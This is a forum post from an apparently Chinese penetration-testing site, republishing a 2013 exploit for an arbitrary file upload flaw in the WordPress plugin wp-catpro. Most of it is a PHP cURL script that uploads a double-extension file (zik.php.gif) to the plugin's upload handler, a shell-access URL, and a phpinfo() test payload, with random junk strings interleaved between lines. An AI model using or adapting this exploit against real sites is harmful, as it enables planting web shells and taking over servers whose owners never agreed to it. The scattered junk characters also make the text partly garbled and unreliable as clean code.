中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
2 J$ D5 C; N6 ]5 s: l6 D
#-----------------------------------------------------------------------
$ M7 L: T0 q: y, J
! \: O) K. a' j, b, {
作者 => Zikou-16
5 N2 I( X! R4 f- d
邮箱 =>
zikou16x@gmail.com
6 H+ |$ t+ L0 j5 |1 Z+ x
测试系统 : Windows 7 , Backtrack 5r3
" v- A! i3 d& w0 z0 d3 _- o
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
, n7 o9 r# n/ \7 Z6 B% Z! ?
####
: F ?! l/ o* a; X
6 C" J. T* S# Y, `5 n
#=> Exploit 信息:
+ I4 Z& D+ R9 }! w
------------------
. Q A" I; }1 ^7 l( l- | c! b& q9 a
# 攻击者可以上传 file/shell.php.gif
+ M% [' m+ K) [5 C
# ("jpg", "gif", "png") // Allowed file extensions
5 U- c3 [' V8 `! o0 p
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
- _; t9 z, x& A3 N/ m0 B
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
/ C" G+ Z0 B7 G$ @7 \
------------------
- K; D1 s: x. O2 ]/ z7 N
5 b: m- E3 s/ }. j9 m. B
#=> Exploit
# M6 c9 u* |& |5 K! b
-----------
' i/ _' `( e' B" h Z; D
<?php
+ G. q, C+ d* i* Y6 A. Q0 K% @
+ D n: z4 ^# p- c3 n& m
$uploadfile="zik.php.gif";
* E2 B, |' V5 ~5 i& S
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
h7 `4 e* |4 N) y+ v
curl_setopt($ch, CURLOPT_POST, true);
" C( @2 D4 E; C* b) B6 f( @% F
curl_setopt($ch, CURLOPT_POSTFIELDS,
. A. S5 ]- p% `6 Q# @* n
array('Filedata'=>"@$uploadfile",
/ O3 {7 t/ @+ j3 K1 l( C% t: r. m
'folder'=>'/wp-content/uploads/catpro/'));
) F! |* {8 a6 P- K' _0 i, N
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
/ X: c! o( b9 v+ h; X
$postResult = curl_exec($ch);
, N1 T# @6 {; Q8 ]. x! O
curl_close($ch);
# y+ j' v7 m, s2 m. y9 Z" M% X ~
" a. Z5 @7 d1 z- t$ B/ n
print "$postResult";
' N0 P+ ], q0 v- e9 W
/ h: l$ {# \3 G$ X& x; E
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
8 e3 f6 l; v w2 P" ]
?>
: o7 Q0 T% x; e& h U6 E
<?php
( g1 Z5 G6 y9 _# ]1 _9 O6 z. m
phpinfo();
9 w1 b' J; {- i1 r u
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2